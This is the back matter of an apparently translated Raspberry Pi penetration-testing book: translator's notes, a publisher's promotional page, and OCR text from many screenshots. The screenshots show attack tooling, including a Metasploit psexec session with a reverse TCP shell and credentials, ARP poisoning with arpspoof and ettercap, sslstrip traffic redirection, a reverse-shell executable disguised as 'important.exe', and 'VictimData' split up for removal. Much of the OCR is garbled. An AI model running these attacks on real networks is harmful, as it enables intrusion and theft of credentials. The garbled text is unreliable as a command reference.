 　译者注：在译者的64位Win10和QEMU 2.7.92环境中，该命令大致为qemu-system-arm.exe -kernel kernel-qemu-4.4.13-jessie -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash" -drive "file=2016-11-25-raspbian-jessie-lite.img, index=0,media=disk,format=raw"，仅供参考。


[13]
 　译者注：以上网址已失效，在翻译本书时（2016年12月）该程序的下载地址为http://piaware.flightcdn.com/piaware-sd-card-3.1.0.img.zip
 。整套接收器的具体搭建步骤请参见http://zh.flightaware.com/adsb/piaware/build
 。


[14]
 　译者注：现在的地址是 http://piplay.org/
 。


[15]
 　译者注：这个地址是我改的，原文的已经不适用。








欢迎来到异步社区！

异步社区的来历

异步社区(www.epubit.com.cn
 )是人民邮电出版社旗下IT专业图书旗舰社区，于2015年8月上线运营。

异步社区依托于人民邮电出版社20余年的IT专业优质出版资源和编辑策划团队，打造传统出版与电子出版和自出版结合、纸质书与电子书结合、传统印刷与POD按需印刷结合的出版平台，提供最新技术资讯，为作者和读者打造交流互动的平台。
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社区里都有什么？

购买图书

我们出版的图书涵盖主流IT技术，在编程语言、Web技术、数据科学等领域有众多经典畅销图书。社区现已上线图书1000余种，电子书400多种，部分新书实现纸书、电子书同步出版。我们还会定期发布新书书讯。

下载资源

社区内提供随书附赠的资源，如书中的案例或程序源代码。

另外，社区还提供了大量的免费电子书，只要注册成为社区用户就可以免费下载。

与作译者互动

很多图书的作译者已经入驻社区，您可以关注他们，咨询技术问题；可以阅读不断更新的技术文章，听作译者和编辑畅聊好书背后有趣的故事；还可以参与社区的作者访谈栏目，向您关注的作者提出采访题目。

灵活优惠的购书

您可以方便地下单购买纸质图书或电子图书，纸质图书直接从人民邮电出版社书库发货，电子书提供多种阅读格式。

对于重磅新书，社区提供预售和新书首发服务，用户可以第一时间买到心仪的新书。

用户帐户中的积分可以用于购书优惠。100积分=1元，购买图书时，在[image: 图像说明文字]
 里填入可使用的积分数值，即可扣减相应金额。

特别优惠






购买本电子书的读者专享异步社区优惠券
 。 使用方法：注册成为社区用户，在下单购书时输入“57AWG
 ”，然后点击“使用优惠码”，即可享受电子书8折优惠（本优惠券只可使用一次）。



纸电图书组合购买

社区独家提供纸质图书和电子书组合购买方式，价格优惠，一次购买，多种阅读选择。
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社区里还可以做什么？

提交勘误

您可以在图书页面下方提交勘误，每条勘误被确认后可以获得100积分。热心勘误的读者还有机会参与书稿的审校和翻译工作。

写作

社区提供基于Markdown的写作环境，喜欢写作的您可以在此一试身手，在社区里分享您的技术心得和读书体会，更可以体验自出版的乐趣，轻松实现出版的梦想。

如果成为社区认证作译者，还可以享受异步社区提供的作者专享特色服务。

会议活动早知道

您可以掌握IT圈的技术会议资讯，更有机会免费获赠大会门票。

加入异步

扫描任意二维码都能找到我们：
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异步社区
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微信订阅号
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微信服务号
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官方微博
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QQ群：436746675


社区网址：
 www.epubit.com.cn



官方微信：
 异步社区


官方微博：
 @人邮异步社区，@人民邮电出版社-信息技术分社


投稿&咨询：
 contact@epubit.com.cn
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root@kalii™# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
rootBkalis™#
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Usage: arpspoof [-1 interface] [-c ounlhostlboth] [t target] [-r] host
rootBkali:™# arpspnnf —1 ethd -t 10.0.2.64 -+ 10,0.2.1

b d4:76:6F
£76:6F
bidd:T8:8¢
44:76:5F
brdd:76:8¢
£76:8F
bidd:T8:8¢
44:76:5F
brdd:76:8¢
£76:8F
bidd:T8:8¢
44:76:5F
brdd:76:8¢
£76:8F
bidd:T8:8¢
44:76:5
brdd:76:8¢
76:8F

3181130 0838 42: arp reply 10.0.2.1 is-at b8:2
JB:1a170 0806 42 arp reply 10.0.2.64 1s-at b8
5151130 0805 42: arp reply 10.0.2.1 is-at b8:2
JB:1a170 0806 42 arp reply 10.0.2.64 1s-at b8
5151130 0805 42: arp reply 10.0.2.1 is-at b8:2
JB:1a170 0806 42 arp reply 10.0.2.64 1s-at b8
5151130 0805 42: arp reply 10.0.2.1 is-at b8:2
JB:1a170 0806 42 arp reply 10.0.2.64 1s-at b8
5151130 0805 42: arp reply 10.0.2.1 is-at b8:2
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root@kalis™# sslstrip -1 8080

cslstrip 0.9 by Hoxie Harlinspike rumin. ..
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msf > use exploit/windows/smb/psexec

msf exploit(osexcc) > set RHOST 192.168.1.100
RHOST => 192.168.1.100

msf exploit(oscxec) > set PAYLOAD windows/shell/reverse tcp
PAYLOAD => windows/shell/reverse_tcp

msf exploit(osexcc) > set LHOST 192.168.1.5
LHOST => 192.168.1.5

msf exploit(pscxcc) > set LPORT 4444

LPORT => 4444

msf exploit(pscxcc) > set SMBUSER victim
SMBUSER => victim

msf exploit(pscxcc) > set SMBPASS s3crit
SMBPASS => s3cr3t

msf exploit(:- ) > exploit

- Connecting to the server...
~ Started reverse handler
- Authenticating as user 'victim'...
- Uploading payload
~ Created \hikmEeEM.exe...
- Binding to 367abb81-9844-35£1-ad32-98£038001003:2.0€ncacn_np:192.168.1.100[\svcctl] ...
- Bound to 367abb81-9844-35£1-ad32-98£038001003:2.08ncacn np:192.168.1.100[\svectl] ..
~ Obtaining a service manager handle
~ Creating a new service (ciWyCVEp -
- Closing service handle...
~ Opening service...
~ Starting the service
~ Removing the service
- Closing service handle...
~ Deleting \hikmEeEM.exe...

- Sending stage (240 bytes)

- Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:1073)

MXAVZSCqERtZwSCLdexnD" ). . .

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
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root@kali:~# msfconsole

Save 45% of your time on large engagements with Metasploit Pro
Learn more on http://rapid7.com/metasploit

metasploit v4.10.0-2014101601 [core:4.10.0.pre.2014101601 api:1.0.0]]
1353 exploits - 745 auxiliary - 217 post 1
340 payloads - 35 encoders - 8 nops 1
Free Metasploit Pro trial: http://r-7.co/trymsp ]
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Downloads

News & Events
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“The SD Association is a global
s sie cosptem o cmpanes seting P
; SDALA site industry-leading memory card Transferjet

standards.

50 Associaion Signs Collboration Agreement
with Transfejet Consortium

SD memory card and SD host
device are the terms for licensed products that
meet SD standards.* SD memory card standards are
available in a variety of formats, capacities and

speed options. An estimated 8,000~plus consumer
electronics models manufactured by more than 400
brands worldwide rely on SD standards.

50 Associaion and Near Field Communication
Forum Sign Callaboration Agreement

5D Associaton Hosts smanSD Workshop at
CARTES

New SOXC and SDHC Memory Cards Now Support
K2k video

P1ps:/ 'www.sdcard.org downloads formatter_4/ more about how SD technology works,
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EXE) SDFormatter

Format for SD/SDHC/SDXC Card

1 Select Card
disk1/7.89G8/Apple SOXC Reader Media/RECOVERY
2 Select Format Option
(®) Quick Format
It formats the card quickly without erasing data.
Data in the card may be retrieved after Quick Format.
Overwrite Format

It takes time depending on the card capacity with overwriting and erasing data in the card.

3 Specify Name of Card

Name :  RECOVERY

4 Click Format button

Option

S>

Close
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tshark: Lua: Error during loading:

[string "/usr/share/uireshark/init. lua"]:46: dofile has been disabled due to ru
mning ireshark as superuser. See http://uiki.uireshark.ora/CaptureSetup/Capture
Privileges for help in running Uireshark as an unprivileged user.

Running as user "root” and group "root”. This could be dangerous.
Capturing on 'eth0’

8 T

rootikalis™# ls

Tesktop  Downloads Pictures Templates capture.cap
Tocunents Husic Public  Videos tsharkl.png
root@kaliz™# |
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Aamirs-MacBook-Pro:~ alakhani$ diskutil list

/dev/diske
TYPE
GUID_partition_scheme
EFI
Apple_HFS

/dev/diskl
TYPE
FDisk_partition_scheme
Windows_FAT_16
: Linux
Aamirs-MacBook-Pro:~ alakhani$

NAME

EFI
Macintosh HD

NAME

RECOVERY

SIZE

*751.3 GB
209.7 MB
750.4 GB

SIZE
*7.9 GB

1.5 GB

33.6 MB
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Verfy Info_ Sum Unmount Eject Ensble Journaling New Image
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= Firstfid Restore
Foive 2 T e |

Miove To erase all data on a disk or ol
[] 7.89 GB Apple SDXC Reade 1 Select the disk or volume in the It on the left.
. 2 Specifya format and name.
3 Ifyou want to prevent the recovery ofthe disks erased data, cick Security
B disk Options.
4 Clickerase.

To prevent the recovery of previously deleted files without erasing the volume, select a
volume in the lst on the left, and click Erase Free Space.

Format: | MS-DOS (FAT) :

Name: N0 NAME

Erase Free Space. Security Options.
Mount Point : /Volumes/NO NAME Capacity : 64 M8 (64,000,000 Bytes)
Format : Ms-DOS (FAT16) Available : 53.9 MB (53,862,400 Bytes)

Owners Enabled : No Used : 10 M8 (9,992,192 Bytes)
5 Number of Folders 0 Number of Files : 512
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Kali Linux Custom ARM Images

B Kali Linux 1.0.9 Raspberry Pi image

== Download Image

== SHATSUM: 714a6fbefc6df51b83826f93d46a36f31d54c5d1
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Senna Spy One EXE

Senna Spy One EXE Maker 2000 - 2.0a

Official Website: _http://sennaspy.tsx.org

email: _senna_spy@hatmail.com

1CQ UIN: 3973927

Join many files and make a unique EXE file.

This program allow join all kind of fles: exe. dll, ocx, tt, ipg. bmp

‘Automatic 0CX file register and Pack files support
Windows 9. NT and 2000 compatible |

Short File Name [ Parameters

Open Mode [Copy To__[Action =D

CALC.EXE

Command Line Parameters:

Hide System Open/Execute
Delete

Save

Est
OpenMod=—-Copy To——-Action

|| Ctoma | Cwiows | @ OpenEueoue | [ PackFies?

€ Masimized| @ System | € Copy Orp
© Mininized | C Temp

IS Conpioht (€1 1990-2000, By Senma Spy | © Hide | " Foo






OEBPS/Image00099.jpg
Home
Go Bookmarks Help

| Desktop KeepNoteTest

‘ hs_err_pid3116log \ important.exe





OEBPS/Image00102.jpg
[*] Checking to see if bleeding-edge repos are active.
[!] Bleeding edge repos were not detected. This is recommended.
Do you want to enable bleeding-edge repos for fast updates [yes/no]: yesl]
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Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Affa?kWa‘aoT'
8) QRCode Generator Attack Vector|
9) Powershell Attack Vectors

10) Third Party Modules

99) Return back to the main menu.
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Select from the menu:

1)
2)
3)
4)
5)
6)

Social -Engineering Attacks
Fast-Track Penetration Testing
Third Party Modules

Update the Social-Engineer'Toolkit
Update SET configuration

Help, Credits, and About

Exit the Social-Engineer Toolkit

& |
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Payload options (java/shell/reverse_tcp):

~ Name Current Setting Required Description

LHOST yes The listen address
LPORT 4444 yes The listen port

Exploit target:
Id Name

® Generic (Java Payload)

nsf exploit(java jrel7 exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
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msf > use exploit/multi/browser/java_ jrel?_ exec
msf exploit(java jrel? exec) >
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lOptions:
nst > I

T

o
> nsfpayload windows/shell/reverse_tcp o X > importhnt jexa |
ac;_msfpayload windows/shell/revarse_tcp o X > inporia
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+] exe;_msfpayload windows/shell/revarse_tcp o

Name: Windows Command Shell, Reverse TCP Stager
Module: payload/windows/shell/reverse_tcp
Platform: Windows
Arch: x86
leeds Admin: No
Total size: 287
Rank: Normal

>rovided by:
spoonm <spoonm@nogenail.con>
Sf <stephen_fewer@harmonysecurity.coms
hdn <hdn@netasploit .com>
skape <nmillerehick.org>

3asic options:

\ane Current Setting Required Description

EXITFUNC  process yes Exit technique ( te h,| t
HOST 192.168.255.135 yes The listen addr

PORT 4444 yes The listen port

description:

Connect back to the attacker, Spawn a piped command shell (staged)

s > I
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New 40pin GPIO replaces 26pin. Improved mounting

First 26 pins remain the same as hole positions
model B to ensure compatiilty

with add on boards and

accessories

Micro SD
card siot &
replaces
standard SD
Moved from inear power Composite jack
supply to switching removed. Audio
delivering 20-30% power outputquality
saving improved with DSP-

related fixes

4xUsB siots

Improved
alignmentof
connectors to
‘edge of board
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Reset the alarm by
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There is no alarm

A description of each condition for
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alarm button O triggers are logged

C__ | B pri
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root@raspberrypi:/etc/openvpn/easy-rsa# ./build-ca
Generating a 1024 bit RSA private key

B et

B e

writing new private key to 'ca.key'

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [US]:

State or Province Name (full name) [CA]:

Locality Name (eg, city) [SanFrancisco]:

Organization Name (eg, company) [Fort-Funston]:

Organizational Unit Name (eg, section) [changeme]:

Common Name (eg, your name or your server's hostname) [changeme]:
Name [changeme] :

Email Address [mail@host.domain]:
root@raspberrypi:/etc/openvpn/easy-rsa# [
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General | Authentication | Options | Networking

Authentication: Type: | SSL/TLS Client (PKCS12) v
[] Use Username/Password authentication
SSL/TLS Client:  PKCS12:
Extra:  Tis-Auth

Direction: | Default

[] Connect when Viscosity opens.
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General  Authentication| Options | Networkina

Connection: My Connection

Remote Server:  Address: |10.0.1.167

Por: 1194

Method:  Protocol: | UDP
Device: |t v

[] Enable IPv6

[] Connect when Viscosity opens.
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Connections.

Connect

Connection Log

Details

Delete.
Edit
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This file MUST be edited with the 'visudo' command as root.

Please consider adding local content in /etc/sudoers.d/ instead of
directly modifying this file.

See the man page for details on how to write a sudoers file.

e B

Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification
# User alias specification
# Cmnd alias specification

# User privilege specification
root  ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
tsudo  ALL=(ALL:ALL) ALL

# See sudoers(S) for more information on "finclude" directives:

#includedir /etc/sudoers.d
aLL
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[}e] Site blocked - Mozilla Firefox (O]
Ele Edit View History Bookmarks Tools Help

| siee blocked (3

@ D [2) @ 15216803 ssre/blockedphpronttpxsaxzFx2Fwmts - v @ BV Google ry

Website blocked

The website you are visiting is not one of the safe sites.

Site is http://www.facebook.com/
Login

If you have a username for the Internet access please login below.

Username: [teen

Password/PIN: (-

Login for: 1heur v
Login

Allow user access

If you require increased access for a specific requirement please ask your parent to
authorise using the form below:

Increase access level (number)
Allow for: (10 mins v,
permit

&

1 EX

<5
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# casy-rsa parameter settings

# NOTE: If you installed from an RPM,
don't edit this file in place in
/usr/share/openvpn/easy-rsa —-

instead, you should copy the whole
easy-rsa directory to another location
(such as /etc/openvpn) so that your
edits will not be wiped out by a future
OpenVPN package upgrade.

BUBBBAn

evel of the easy-r

#
#
# the requested executables

#

export OPENSSL="openssl"

export PKCS11TOOL="pkcsll-tool"
export GREP="grep"

# This variable should point to
# the openssl.cnf file included
# with easy-rsa.

Get Help
Exit

Ay WriteOut
| Justify

Read File Prev Page
Where Is Next Page

A Cut Text
] UnCut Text

Cur Pos
To Spell
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pi@raspberrypi ~ $ sudo apt-get install openvpn
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
1ib1z02-2 libpkcsll-helperl
Suggested packages:
resolvconf
The following NEW packages will be installed:
1ib1z02-2 libpkcsll-helperl openvpn
@ upgraded, 3 newly installed, @ to remove and 51 not upgraded.
Need to get @ B/569 kB of archives.
After this operation, 1,281 kB of additional disk space will be
Do you want to continue [Y/n]? [}

used.
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pi@raspberrypi
lpi@raspberrypi
pi@raspberrypi
-3 REDIR
piGraspberrypi
EDIRECT -
pi@raspberrypi
hain PREROUTING
target
REDIRECT
ir ports S3
REDIRECT tcp -

iptables -F
iptables -t
iptables -t
s3

iptables -t

o-ports 8040
iptables -t n:

(policy ACCEPT)

prot opt source
udp —-

anywhere

- anywhere

-F

A PREROUTING -i wlan0 -p udp

-A PREROUTING -i wlan0 -p tcp
-L

destination
anywhere

anywhere

:domain red|

N, SYN,

K/SYN redir ports 9040

INPUT

(policy ACCEPT)
prot opt source

destination

Chain OUTPUT (policy ACCEPT)
prot opt source

Chain
target
|pi€raspberrypi

POSTROUTING (policy ACCEPT)
prot opt source

destination
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s e
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Waren 19, 2013
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root@kalis™# tshark
tshark: Lua: Error during loading:

[string "/usr/shareduireshark/init. lua"]:45: dofile has been disabled due to ru
nning Uireshark as superuser, See http://uiki uireshark ora/CaptureSetup/Capture
Privileges for help in ruming llireshark as an unprivileged user,

Running s user *root” and group "root”, This could be dangerous.
Capturing on "etho!

0,000000 Cisco_88:1a:72 -5 Spanning-tres~(For-bridges)_00 STP 60 Conf, Root =
32788/0/00:18:0:7d126:1e_Cost = 38 Fort = 0;8003
1 2,000703 Cisco_88:1a:72 -> Spanning-tree-(For-bridges) 00 STP 80 Conf, Root
32768/0/00:18:0a:Td:brle Cost = 38 Port = 0xB003
2 " 4,001063 Cisco_88:1a:72 -> Spanning-tree=(for-bridges) 00 STP 60 Conf, Root
20768/0/00:18:0a:7d: a6+ 16 Cost = 38 Port = 0x8003
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QEMU Binaries for Windows

Nane modified iz Description
O cotobins 10-7eb-2014 2128 -
@ aobian/ 23-0u1-2014 10:22 - QEMU cross development package
D scons 08-7un-2013 13:36 -  QEMU Tcon Contest
O patchess 30-Nov-2013 23:03 - QEMU Patches
O resutees 12-0a0-2014 20111 - QEMU Test Results
O seites 17-May-2014 18:16 -  SciTE editor for Windows
D teses 10-Peb-2014 06:33 - QEMU Test Inages and Bineries
0w 12-Nov-2014 09:02 - QEMU Binaries for Windovs (32 bit)
== 12-Nov-2014 09:06 -  QEMU Binaries for Windows (64 bit)
e —— 12-Nov-2014 08:26 334K QRNY User Wanusl

12-Nov-2014 08:26 2K QEMU Internals Nanual

‘gemu-tech.hem

Here you get QEMU related documention and binaries for 32 bit and 64 bit versions of Microsoft Windows.
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Congratulations. This browser is configured to use
Tor.

Your IP address appears to be: 109.163.234.4

Please refer to the Tor website for further information about using Tor safely. You are now free to browse the Internet
‘anonvmously. For more information about this exit relay. see: Atlas.
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48.514352000 10.0.2.62 122 iy TP TP ermpbii.thesecrt blogger comar.
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Follow TCP Stream 40X
Stream Content

POST /wp-Login.php HTTP/1.1

IAccept: text/html, htmlaxml, */*
Referer: http://www.
2w thy
IAccept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIEQ;ENUS; rv:11.0) like
Gecko

Content-Type:

IAccept-Encoding: gzip, deflate

Host: w -
Content-Length: 186
DNT: 1

Connection: Keep-Alive
Cache-Control: no-cache
Cookie ik g

ULEECL) UUILCIS LT e U

(none )

(¢ ch_result=ezl
3D&cptch time Log+Ingredirect to=https3As2Fs

2

v
Date: Sat, 27 Sep 2014 01:10:56 GHT
Server: R o
Entire conversation (54600 bytes) |~ |

[c) Bnd | (¥ saveas | & print (O Ascll O EBCDIC O HexDump O CArays @ Raw
(5] Help (] Filter Out This Stream 3¢ Close
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Wireshark: Capture Interfaces

Device Description 1P Packets Packetsis
B @l etho 100262 210

O &l nflog 0 3
O & any

O & b 127001

&) Hep ‘ 4 surt ‘ s ‘ ® options ‘ X Close
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Fiter: [fparc == 100263 and i reavest 1lL_un | Expression.. ciear

Vo [Tme Source Destnation | protoca | Lengen nto
—
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T
Frase 81: 603 bytes on wire (824 bits), 603 bytes captured (4824 bits) on interface 0
Ethernet 11, Sre: DelLi 130 ( 91:36), Dst: Raspharr_ - 181 ( wizein)
Internet Protocol Version 4, Src: 10.0.2.6 (10.0.2.63), st 165 145)

Transaission Control ProtocoL, Scc Port: 49700 (49700). Dst Port: hetp (80), Sea: 1. Ack: 1. Len: 549 L
Wertext Tronsfer Protocol =
0020 <0 01 c2 24 00 50 2b ea 7a 33 55 c§ 84 76 50 18 ...4.Pe, 230..vP,
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10.

auto lo

iface lo inet loopback
iface eth@ inet dhcp
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pi@raspberrypi:/pentest$ sudo apt-get install tor
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
tor-geoipdb torsocks
Suggested packages:
mixmaster xul-ext-torbutton tor-arm polipo privoxy apparmor-utils
The following NEW packages will be installed:
tor tor-geoipdb torsocks
0 upgraded, 3 newly installed, @ to remove and @ not upgraded.
Need to get 2,465 kB of archives.
After this operation, 6,471 kB of additional disk space will be used.
Do you want to continue [Y/n]?
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auto lo

iface lo inet loopback
iface eth@ inet static
address 10.0.1.167
netmask 255.255.255.0
network 10.0.1.0
broadcast 10.0.1.255
gateway 10.0.1.1
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=== Raspberry Pwn Release 0.2 ===
A Raspberry Pi Pentesting suite by PwnieExpress.com

This installer will load a comprehensive security pentesting
software suite onto your Raspberry Pi. Note that the Debian

Raspberry Pi distribution must be installed onto the SD card
before proceeding. See README.txt for more information.

Press ENTER to continue, CTRL+C to abort.
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root@kalis™# urlsnarf -i eth0
rlanarts Liskeviing on sthO [bep port 80 o= port BORY o pork 31291
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Tootikacts Nauaree AL SR Y SpaeNate
ettercap 0,8,0 copyrisht 2001-2013 Ettercap Tevelopnent, Tean

Listening on:
ethd -> B3:27:EB:44:76:8F
10,0.2,62/255,255,255,0
Fof0::ba271ebfF1Fedd 1 768F/64

S5L dissection needs a valid 'redir_comnand_on’ script. in the etter.conf f
Privileges dropped to UID 65534 GID 69534, ..

33 plugins
42 protocol dissectors
57 ports nonitorsd
16074 mac vendor Fingerprint
1766 top 05 Fingerprint
2182 known services

Randonizing 255 hosts for scanning...
Scanning the uhole netnask for 295 hosts, .,

11100,00 2
4 hosts added to the hosts List...

ARP poisoning victins:

GROUP 13 ANY (all the hosts in the list)

GROUP 2 ¢ ANY (all the hosts in the list)

Starting Unified sniffing...

Text only Interface activated. ..
Hit B for inline help
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split -b50m VictimData Breakup
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Archive Edit View Help

& open v | T Extract | |F

]

¥ | Location: | @@/

1 object (11 bytes), 1 object selected (11 bytes)

. VictimDataNe:

VictimData gz





OEBPS/Image00073.jpg
M MITM Attack: ARP Poisoning 4 O X

>

Optional parameters
(] niff remote connections |
Only poison one-way.

<Jok || @cancel
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Start | Targets Hosts View

@ Startsniffing __ Ctri+W

@ Stopsniffing  Ctrl+E
& Exit Ctri+X
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cat Breakupaa Breakupab Breakupac > VictimData
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ettercap 0.8.0
Start Targets Hosts View Mitm fFilters Logging Plugins 2

Host List %

1P Address | MAC Address Description
10021  BC:16:65:88:1A:70
10.0.2.61 00:18:0A7D:A6:1E
10.0.2.64 00:26:89:85:91:3E
10.0.2.254 00:22:BE:20:F1:40

Delete Host Add to Target 1
1766 tcp OS fingerprint

2182 known services

Randomizing 255 hosts for scanning...
5canning the whole netmask for 255 hosts...
4 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
5canning the whole netmask for 255 hosts...
4 hosts added to the hosts list.

Add to Target 2
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The Social-Engineer Toolkit (SET)
Written by: David Kennedy (ReL1K)
Development Team: Thomas Werth

Version: 1.3
Codename: 'Artillery Edition'

Follow Me On Twitter: dave rellk
Homepage: http://www.secmaniac.com

Report bugs to: davek@social-engineer.org

Framework: http://www.social-engineer.org

Welcome to the Social-Engineer Toolkit (SET). Your one
stop shop for all of your social-engineering needs..

DerbyCon 2011 Sep30-0ct02 - http://www.derbycon.com

select from the menu:

. Spear-Phishing Attack Vectors

. Website Attack Vectors

. Infectious Media Generator

. Create a Payload and Listener

Mass Mailer Attack

Teensy USB HID Attack Vector

SMS Spoofing Attack Vector
Wireless Access Point Attack Vector
Third Party Modules

L
3
3
3

3.
10. Update the Metasploit Framework
11. Update the Social-Engineer Toolkit
12. Help, Credits, and About

13. Exit the Social-Engineer Toolkit

“nter your choic
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Start Targets Hosts

ettercap 0.8.0

w_Mitm filters Logging Plugins 2

Host List % |

1P Address | MAC Address

Description

BC:16:65:88:1A:70

[T S

Add to Target 2

GROUP 1: ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
ARP poisoner deactivated.

RE-ARPing the victims..

Host 10.0.2.1 added to TARGET2

Host 10.0.2.64 added to TARGET1
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5] Honepage:. https://uw, trustedsec,con =
Ueloone to the Social-Engineer Toolkit (SET). Your one
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ettercap Input

Network interface :
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ok






OEBPS/Image00153.jpg
pi@raspberrypi:~/Raspberry-Pwn$ 1ls

INSTALL_raspberry_pwn.sh LICENSE README.md src UNINSTALL_raspberry_pwn.sh
pi@raspberrypi:~/Raspberry-Pwn$

pi@raspberrypi:~/Raspberry-Pwn$ sudo ./INSTALL_raspberry_pwn.sh JJ
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- ettercap 0.8.0

Start Targets [Hosts | View Mitm Filters Logging Plugins 2
[#) Hosts list H
[, Scan for hosts Ctri+S
& Load from file... Ctri+0
& save tofile... Ctri+S

o~

»)

Ett

SSL dissection needs a valid 'redir_command_on’ script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

33 plugins
42 protocol dissectors
57 ports monitored
16074 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
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piﬁraspberrypiws sudo git clone https://github.com/pwnieexpress/Raspberry-Pwn.g
it]
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stotenip besdialue

Archive Edit View Help

ek B 4 €| Location: |
v | size | Type | Date Modified
11 bytes unknown 24 June 2013, 12:32
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File | Sniff | Options 2
© Unified sniffing... _ Shift+U
“ Bridged sniffing...  Shift+B

W Set pcap filter... P
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38:1a170 0808 42: arp reply 10,0263 is-at
5:91:3e 0806 42: arp reply 10,0.2,1 is-at £
38:1a170 0808 42: arp reply 10,0263 is-at

5:91:3e 0806 42; arp reply 10.0.2,1 is=at £
38:1a170 0808 42: arp reply 10,0,3.63 is-at
5:31:3e 0806 42; arp reply 10.0.2,1 1s-at £
38:1a170 0808 42: arp reply 10,0,3.63 is-at
5:31:3e 0806 42; arp reply 10.0.2,1 1s-at £
38:1a170 0808 42: arp reply 10,0,3.63 is-at
5:31:3e 0806 42; arp reply 10.0.2,1 1s-at £
38:1a170 0808 42: arp reply 10,0,3.63 is-at
5:31:3e 0806 42; arp reply 10.0.2,1 1s-at £
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5:31:3e 0806 42; arp reply 10.0.2,1 1s-at £
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5:31:3e 0806 42; arp reply 10.0.2,1 1s-at £
38:1a170 0808 42: arp reply 10,0,3.63 is-at
5131338 0806 42; arp reply 10.0.2,1 1s-at £
38:1a:70 0806 42; arp reply 10.0.2,63 is-at
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Package ettercap is a virtual package provided by:
ettercap-text-only 1:0.8.0-0kalil
ettercap-graphical 1:0.8.0-0kalil

You should explicitly select one te@ install.
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Starting linap 6.47 ( http://map.org ) at 2014-09-27 00:51 UTC
Ninsp soan report. for 10,0,2,1

Host. i up (0,0045s Latency) .

HAC Address: 16:70 (Cisco)
Nnzp scan report for 10,0,2,61

Host is up (0.0036s latency) .

HAC Address: SB:1E (eraki)

Nnsp scan report for 10,0,2,254
Host is up (0,0038s Latency) .

HAC Address: 1240 (Cisco Systens)
Nnsp scan report, for 10,0,2,62
Host. i up.,

Nnap done: 256 1P addresses (5 hosts up) scanned in 10,08 seconds
root@kaliz™# [
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Setting up oinkmaster (2,0-3) ..,
root@kali:™# snort
Running in packet dump mode

Initializing Snort
Initializing Output Plugins!
pcap DAD configured to passive,
The DAQ version does not support reload.
Acquiring network traffic from "eth0",
Decoding Ethernet

--== Initialization Complete ==—-

=% Short] =
Version 2,9,2,2 IPv6 GRE (Build 121)
By Martin Roesch & The Snort Team: http://www.snort.org/snort/snort-t

Copyright (C) 1998-2012 Sourcefire, Inc,, et al,

Using libpcap version 1,3,0
Using PCRE version: 8,30 2012-02-04

Using ZLIB version: 1,2.7

Enmmencing packet processing (pid=2917)
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xterm

Configuring snort
Please use the CIIR form - for example, 192,168,1,0/24 for a block of
256 addresses or 192,168,1,42/32 for just one, Multiple values should be
comma-separated (without spaces).

Please note that if Snort is configured to use multiple interfaces, it
will use this value as the HIME_NET definition for all of them.

Address range for the local netuorks

<0k>
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18:31:24,905205 1P 10.0.2,63,43432 > 23.4.187.27.http: Flags [P.], seq 1:242, ac
k 1, uin 17520, length 341

18:31:24 817195 [P 23.4.187,27.http > 10,0,2.63,434321 Flags [.], ack 242, win 1
5544, length 0

18:31:24,518481 1P 23.4.187,27.http > 10,0,2.63,434321 Flags [.], seq 1:1461, ac
k 242, uin 15544, length 1450

18:31:24,318486 1P 23.4.187,27.http > 10,0,2.63,434321 Flags [P.], seq 1461:2246
 ack 242, win 15544, length 735

18:31:24,895502 1P 10,0,2.,63.48432 > 23.,4,187.27 http: Flags [.], ack 2246, vin
17520, Length 0

18:31:24,368090 TP 802.1d, Config, Flags [none], bridge-id B00L,00:22:be:201F1:
00,8006, length 43

18131326, 330812 1P Fe80:101F1:2ba:33F0:Fc48,55332 > FF02::1:3,hostuon: UIP, le
ngth 22

18:31:25,331515 1P 10,0.2,63,53475 > 224.0,0,252 hostaon: UIP, length 22
18:31:25,433812 1PS Fe80: 1c1F1:2ba 132F0:FC48, 55332 > FF02::1:3,hostuon: UIP, le
ngth 22

18:31:25,434508 TP 10,0,2,63,53475 > 224,0,0,252, hostaon: UIP, length 22
18:31:25,638072 [P 10,0.2.63,netbios—ns > 10.0,2.255, netbios-ns: NBT UDP PACKET(
137): QUERY; REQUEST: BROADCAST

18:31:25,639573 ARP, Request uho-has 10,0,2,2 tell 10,0,2,254, length 46
18:31:25 633993 ARP, Request, uho-has 1010.2,30 tell 10,0.2,254, length 45
15:31:25, 540452 #RP, Reqiest. who-has 10,0,2.130 tell 16.0.2.254, length 46
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root@raspberrypi:~# ifconfig

ethd

Link encap:Ethernet HWaddr b8:27:eb:31:e8:78

inet addr:10.0.1.167 Bcast:10.0.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:36140 errors:@ dropped:@ overruns:0 frame:0

TX packets:10611 errors:0 dropped:@ overruns:@ carrier:@
collisions:@ txqueuelen:1000

RX bytes:52359752 (49.9 MiB) TX bytes:858541 (838.4 KiB)
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root@kali: ™% echo 1 > /proc/sys/net/ipvd/ip_foruard
rotikali:"# cat. /proc/sus/net/ipud/ip_foruard

)

rostikalis"# netstat -+

Kernel IP rauting table

Destination  Gateuay Gonmask. Flags S5 Uindou irtt Iface
default. 10,0.2,1 0,0,0,0 U5 00 0 etho
10,0,2,0 * 255,265,255.0 U 00 0 etho

root@kaliz™# []
